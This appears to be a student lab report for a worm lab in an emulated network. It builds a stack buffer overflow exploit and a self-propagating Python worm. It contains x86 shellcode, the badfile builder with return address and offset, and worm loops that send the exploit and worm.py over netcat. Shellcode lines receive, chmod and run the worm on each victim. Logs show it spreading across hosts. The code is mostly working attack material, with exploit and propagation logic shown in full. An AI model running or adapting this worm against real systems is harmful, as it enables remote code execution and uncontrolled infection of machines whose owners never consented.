Report

Task 1 : Attacking any target Machine

Here I have to edit createBadfile() function, we have to add return address and offset. Here we have to find the return address and change createBadfile function.

```
seed@VM: ~
[08/06/22]seed@VM:~$ echo hello | nc -w2 10.151.0.71 9090
[08/06/22]seed@VM:~$
```

```
as152r-router0-10.152.0.254         | bird: Started
as151h-host_0-10.151.0.71           | Starting stack
as151h-host_0-10.151.0.71           | Input size: 6
as151h-host_0-10.151.0.71           | Frame Pointer (ebp) inside bof():  0xffffd5f8
as151h-host_0-10.151.0.71           | Buffer's address inside bof():     0xffffd588
as151h-host_0-10.151.0.71           | ==== Returned Properly ====
```

```
def createBadfile():
   content = bytearray(0x90 for i in range(500))
   ##################################################################
   # Put the shellcode at the end
   content[500-len(shellcode):] = shellcode

   ret    = 0xffffd5f8 +0x10 # Need to change
   offset = 116  # Need to change

   content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
   ##################################################################

   # Save the binary code to file
   with open('badfile', 'wb') as f:
      f.write(content)
```

Then we will run worm.py to the attacker's terminal. Here we chose 10.151.0.72 as the attacker.

```
[08/06/22]seed@VM:~/.../map$ dockps
0666a3925329  seedemu_client
2e6ccde18e3e  as151h-host_0-10.151.0.71
f983951db0fb  as153r-router0-10.153.0.254
41b52d53ac64  as153h-host_3-10.153.0.74
62523ea3df2e  as153h-host_0-10.153.0.71
851013fc2681  as153h-host_1-10.153.0.72
fc1ab0f932b4  as151h-host_1-10.151.0.72
356341e167ae  as152h-host_4-10.152.0.75
bb0dcbbf03cb  as100rs-ix100-10.100.0.100
bc4986f8d727  as151h-host_4-10.151.0.75
80e960366669  as152r-router0-10.152.0.254
631ddc38d301  as151h-host_2-10.151.0.73
8eff4c6f364b  as152h-host_2-10.152.0.73
de4c6e82f965  as152h-host_0-10.152.0.71
ebf9434857b1  as151h-host_3-10.151.0.74
eb1edf794f10  as151r-router0-10.151.0.254
451f93db3446  as153h-host_4-10.153.0.75
12b9fde834ae  as153h-host_2-10.153.0.73
36692d7e6339  as152h-host_3-10.152.0.74
63d3081197bd  as152h-host_1-10.152.0.72
```

```
[08/06/22]seed@VM:~/.../map$ docksh fc
root@fc1ab0f932b4:/# ls
bin   etc              lib     media  root            seedemu_worker  tmp
bof   home             lib32   mnt    run             srv             usr
boot  ifinfo.txt       lib64   opt    sbin            start.sh        var
dev   interface_setup  libx32  proc   seedemu_sniffer  sys
[08/06/22]seed@VM:~/.../worm$ docker cp worm.py fc1ab0f932b4:/
root@fc1ab0f932b4:/# chmod +x worm.py
root@fc1ab0f932b4:/# ./worm.py
The worm has arrived on this host ^_^
**********************************
>>>>> Attacking 10.151.0.71 <<<<<
**********************************
```

Now if I check the internet-nano terminal, we will see that the attack is successfully done.

```
as151h-host_0-10.151.0.71           | (^_^) Shellcode is running (^_^)
```

Task 2: Self Duplication:

Here we have to firstly provide the worm.py file from the attacker. And then add command to listen to the worm.py file as payload. When the attack is done, the target ip will have worm.py in its bof folder.

```
shellcode= (
   "\xeb\x2c\x59\x31\xc0\x88\x41\x19\x88\x41\x1c\x31\xd2\xb2\xd0\x88"
   "\x04\x11\x8d\x59\x10\x89\x19\x8d\x41\x1a\x89\x41\x04\x8d\x41\x1d"
   "\x89\x41\x08\x31\xc0\x89\x41\x0c\x31\xd2\xb0\x0b\xcd\x80\xe8\xcf"
   "\xff\xff\xff"
   "AAAABBBBCCCCDDDD"
   "/bin/bash*"
   "-c*"
   # You can put your commands in the following three lines.
   # Separating the commands using semicolons.
   # Make sure you don't change the length of each line.
   # The * in the 3rd line will be replaced by a binary zero.
   " echo '(^_^) Shellcode is running (^_^)';                  "
   " nc -lnv 9000 > worm.py;                                   "
   "                                                         *"
   "1234567890123456789012345678901234567890123456789012345678901234567890"
   # The last line (above) serves as a ruler, it is not used
).encode('latin-1')


while True:
    targetIP = getNextTarget()

    # Send the malicious payload to the target host
    print(f"*********************************", flush=True)
    print(f">>>>> Attacking {targetIP} <<<<<", flush=True)
    print(f"*********************************", flush=True)
    subprocess.run([f"cat badfile | nc -w3 {targetIP} 9090"], shell=True)
    time.sleep(5)
    subprocess.run([f"cat worm.py | nc -w5 {targetIP} 9000"], shell=True)

    # Give the shellcode some time to run on the target host
    time.sleep(1)


    # Sleep for 10 seconds before attacking another host
    time.sleep(10)
```

```
root@2e6ccde18e3e:/# ls
bin   etc              lib     media  root             seedemu_worker  tmp
bof   home             lib32   mnt    run              srv             usr
boot  ifinfo.txt       lib64   opt    sbin             start.sh        var
dev   interface_setup  libx32  proc   seedemu_sniffer  sys
root@2e6ccde18e3e:/# cd bof
root@2e6ccde18e3e:/bof# ls
core  server  stack  worm.py
```

Task 3: Propagation

Here we take random target IP addresses. Then the payload will run the worm.py to the target machine similarly.

```
def getNextTarget():
    x=randint(151,153)
    y=randint(71,75)
    return "10."+str(x)+".0."+str(y)


shellcode= (
   "\xeb\x2c\x59\x31\xc0\x88\x41\x19\x88\x41\x1c\x31\xd2\xb2\xd0\x88"
   "\x04\x11\x8d\x59\x10\x89\x19\x8d\x41\x1a\x89\x41\x04\x8d\x41\x1d"
   "\x89\x41\x08\x31\xc0\x89\x41\x0c\x31\xd2\xb0\x0b\xcd\x80\xe8\xcf"
   "\xff\xff\xff"
   "AAAABBBBCCCCDDDD"
   "/bin/bash*"
   "-c*"
   # You can put your commands in the following three lines.
   # Separating the commands using semicolons.
   # Make sure you don't change the length of each line.
   # The * in the 3rd line will be replaced by a binary zero.
   " echo '(^_^) Shellcode is running (^_^)';                  "
   " nc -lnv 9000 > worm.py; chmod +x worm.py;./worm.py;       "
   "                                                         *"
   "12345678901234567890123456789012345678901234567890123456789"
   # The last line (above) serves as a ruler, it is not used
).encode('latin-1')
```

Now we will first check if the target ip is alive or not. If the target machine is alive, the attack will launch and the machine itself will run worm.py and thus propagate the worm. Here we just sent the worm to one of the IPs.

```
while True:
    targetIP = getNextTarget()
    output = subprocess.check_output(f"ping -q -c1 -W1 {targetIP}", shell=True)
    result = output.find(b'1 received')
    if result!=-1:

        # Send the malicious payload to the target host
        print(f"**********************************", flush=True)
        print(f">>>>> Attacking {targetIP} <<<<<", flush=True)
        print(f"**********************************", flush=True)
        subprocess.run([f"cat badfile | nc -w3 {targetIP} 9090"], shell=True)
        time.sleep(5)
        subprocess.run([f"cat worm.py | nc -w5 {targetIP} 9000"], shell=True)

        # Give the shellcode some time to run on the target host
        time.sleep(11)
        exit(0)
    else:
        print(f"{targetIP} is not alive", flush=True)
    # Remove this line if you want to continue attacking others
```

Now, we will see that the worm will spread all over the network.

```
as151h-host_1-10.151.0.72          | Listening on 0.0.0.0 9000
as151h-host_1-10.151.0.72          | Connection received on 10.151.0.1 40432
as151h-host_1-10.151.0.72          | The worm has arrived on this host ^_^
as151h-host_1-10.151.0.72          | ***********************************
as151h-host_1-10.151.0.72          | >>>>> Attacking 10.151.0.73 <<<<<
as151h-host_1-10.151.0.72          | ***********************************
as151h-host_2-10.151.0.73          | Starting stack
as151h-host_2-10.151.0.73          | (^_^) Shellcode is running (^_^)
as151h-host_2-10.151.0.73          | Listening on 0.0.0.0 9000
as151h-host_2-10.151.0.73          | Connection received on 10.151.0.72 56476
as151h-host_2-10.151.0.73          | The worm has arrived on this host ^_^
as151h-host_2-10.151.0.73          | ***********************************
as151h-host_2-10.151.0.73          | >>>>> Attacking 10.153.0.73 <<<<<
as151h-host_2-10.151.0.73          | ***********************************
as153h-host_2-10.153.0.73          | Starting stack
as153h-host_2-10.153.0.73          | (^_^) Shellcode is running (^_^)
as153h-host_2-10.153.0.73          | Listening on 0.0.0.0 9000
as153h-host_2-10.153.0.73          | Connection received on 10.151.0.73 41682
as153h-host_2-10.153.0.73          | The worm has arrived on this host ^_^
as153h-host_2-10.153.0.73          | ***********************************
as153h-host_2-10.153.0.73          | >>>>> Attacking 10.153.0.74 <<<<<
as153h-host_2-10.153.0.73          | ***********************************
as153h-host_3-10.153.0.74          | Starting stack
as153h-host_3-10.153.0.74          | (^_^) Shellcode is running (^_^)
as153h-host_3-10.153.0.74          | Listening on 0.0.0.0 9000
as153h-host_3-10.153.0.74          | Connection received on 10.153.0.73 41256
as153h-host_3-10.153.0.74          | The worm has arrived on this host ^_^
as153h-host_3-10.153.0.74          | ***********************************
as153h-host_3-10.153.0.74          | >>>>> Attacking 10.151.0.73 <<<<<
as153h-host_3-10.153.0.74          | ***********************************
as151h-host_2-10.151.0.73          | Starting stack
as151h-host_2-10.151.0.73          | (^_^) Shellcode is running (^_^)
as151h-host_2-10.151.0.73          | Listening on 0.0.0.0 9000
as151h-host_2-10.151.0.73          | Connection received on 10.153.0.74 47412
```

Task 4: Preventing Self Infection

In the last task, we see that the worm may attack itself as we are just deciding the target machine randomly. Now we have to avoid self infection. To avoid the infection, I checked whether the worm.py file exists.

```
shellcode= (
    "\xeb\x2c\x59\x31\xc0\x88\x41\x19\x88\x41\x1c\x31\xd2\xb2\xd0\x88"
    "\x04\x11\x8d\x59\x10\x89\x19\x8d\x41\x1a\x89\x41\x04\x8d\x41\x1d"
    "\x89\x41\x08\x31\xc0\x89\x41\x0c\x31\xd2\xb0\x0b\xcd\x80\xe8\xcf"
    "\xff\xff\xff"
    "AAAABBBBCCCCDDDD"
    "/bin/bash*"
    "-c*"
    # You can put your commands in the following three lines.
    # Separating the commands using semicolons.
    # Make sure you don't change the length of each line.
    # The * in the 3rd line will be replaced by a binary zero.
    " echo '(^_^) Shellcode is running (^_^)';                 "
    "if [[ ! -f worm.py ]]; then                               "
    " nc -lnv 9000 > worm.py; chmod +x worm.py; ./worm.py;fi;  "
    "                                                          "
    "12345678901234567890123456789012345678901234567890123456789012345678901234567890"
    # The last line (above) serves as a ruler, it is not used
).encode('latin-1')

createBadfile()
s=socket.socket()
host=socket.gethostname()
s.bind((host,7000))
s.listen(5)
# Launch the attack on other servers
while True:
    host=socket.gethostname()
    targetIP = getNextTarget()
    while targetIP=="10.151.0.72":
        targetIP = getNextTarget()
    output = subprocess.check_output(f"ping -q -c1 -W1 {targetIP}", shell=True)
    result = output.find(b'1 received')
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    result2 = sock.connect_ex((targetIP,7000))
    if result!=-1 and result2!=0:

        # Send the malicious payload to the target host
        print(f"*********************************", flush=True)
        print(f">>>>> Attacking {targetIP} <<<<<", flush=True)
        print(f"*********************************", flush=True)
        subprocess.run([f"cat badfile | nc -w3 {targetIP} 9090"], shell=True)
        time.sleep(5)
        subprocess.run([f"cat worm.py | nc -w5 {targetIP} 9000"], shell=True)
        # Give the shellcode some time to run on the target host
        time.sleep(11)
    else:
        print(f"{targetIP} already infected", flush=True)
        time.sleep(11)
```

Now this will prevent self infection. If a machine is already infected, it will never been infected again.

```
as153h-host_1-10.153.0.72          | (^_^) Shellcode is running (^_^)
as153h-host_1-10.153.0.72          | Listening on 0.0.0.0 9000
as153h-host_3-10.153.0.74          | (^_^) Shellcode is running (^_^)
as153h-host_3-10.153.0.74          | Listening on 0.0.0.0 9000
as153h-host_1-10.153.0.72          | Connection received on 10.153.0.1 47866
as153h-host_3-10.153.0.74          | Connection received on 10.151.0.71 55170
as153h-host_1-10.153.0.72          | The worm has arrived on this host ^_^
as153h-host_1-10.153.0.72          | ***********************************
as153h-host_1-10.153.0.72          | >>>>> Attacking 10.151.0.74 <<<<<
as153h-host_1-10.153.0.72          | ***********************************
as151h-host_3-10.151.0.74          | Starting stack
as152h-host_2-10.152.0.73          | 10.153.0.72 already infected
as153h-host_3-10.153.0.74          | The worm has arrived on this host ^_^
as153h-host_3-10.153.0.74          | ***********************************
as153h-host_3-10.153.0.74          | >>>>> Attacking 10.151.0.74 <<<<<
as153h-host_3-10.153.0.74          | ***********************************
as151h-host_3-10.151.0.74          | Starting stack
as151h-host_3-10.151.0.74          | (^_^) Shellcode is running (^_^)
as151h-host_3-10.151.0.74          | Listening on 0.0.0.0 9000
as151h-host_3-10.151.0.74          | (^_^) Shellcode is running (^_^)
as151h-host_3-10.151.0.74          | Connection received on 10.153.0.72 41494
as152h-host_3-10.152.0.74          | Starting stack
as152h-host_2-10.152.0.73          | ***********************************
as152h-host_2-10.152.0.73          | >>>>> Attacking 10.152.0.72 <<<<<
as152h-host_2-10.152.0.73          | ***********************************
as152h-host_1-10.152.0.72          | Starting stack
as151h-host_3-10.151.0.74          | The worm has arrived on this host ^_^
as151h-host_0-10.151.0.71          | 10.151.0.71 already infected
as151h-host_3-10.151.0.74          | ***********************************
as151h-host_3-10.151.0.74          | >>>>> Attacking 10.153.0.75 <<<<<
as151h-host_3-10.151.0.74          | ***********************************
```

as151h-host_0-10.151.0.71 | 10.153.0.74 already infected
as153h-host_1-10.153.0.72 | 10.151.0.74 already infected
as153h-host_3-10.153.0.74 | 10.153.0.74 already infected
as152h-host_2-10.152.0.73 | 10.153.0.72 already infected
as152h-host_3-10.152.0.74 | 10.153.0.73 already infected
as152h-host_0-10.152.0.71 | 10.153.0.73 already infected
as152h-host_1-10.152.0.72 | 10.151.0.73 already infected
as151h-host_3-10.151.0.74 | 10.151.0.74 already infected
as151h-host_4-10.151.0.75 | 10.153.0.72 already infected
as153h-host_3-10.153.0.74 | 10.152.0.74 already infected
as151h-host_0-10.151.0.71 | 10.152.0.74 already infected
as152h-host_2-10.152.0.73 | 10.153.0.75 already infected
as152h-host_3-10.152.0.74 | 10.152.0.72 already infected
as152h-host_1-10.152.0.72 | 10.152.0.74 already infected
as151h-host_3-10.151.0.74 | 10.152.0.75 already infected
as151h-host_4-10.151.0.75 | 10.153.0.72 already infected
as151h-host_0-10.151.0.71 | 10.152.0.72 already infected
as153h-host_3-10.153.0.74 | 10.152.0.75 already infected
as152h-host_2-10.152.0.73 | 10.153.0.73 already infected
as152h-host_3-10.152.0.74 | 10.153.0.73 already infected
as152h-host_1-10.152.0.72 | 10.153.0.71 already infected
as151h-host_3-10.151.0.74 | 10.153.0.75 already infected
as151h-host_4-10.151.0.75 | 10.153.0.73 already infected
as151h-host_0-10.151.0.71 | 10.153.0.74 already infected
as152h-host_2-10.152.0.73 | 10.153.0.71 already infected
as152h-host_3-10.152.0.74 | 10.151.0.75 already infected
as152h-host_1-10.152.0.72 | 10.152.0.72 already infected
as151h-host_3-10.151.0.74 | 10.151.0.75 already infected
as151h-host_4-10.151.0.75 | 10.153.0.71 already infected
as151h-host_0-10.151.0.71 | 10.153.0.73 already infected
as152h-host_3-10.152.0.74 | 10.151.0.73 already infected
as152h-host_1-10.152.0.72 | 10.153.0.71 already infected
as152h-host_1-10.152.0.72 | 10.151.0.75 already infected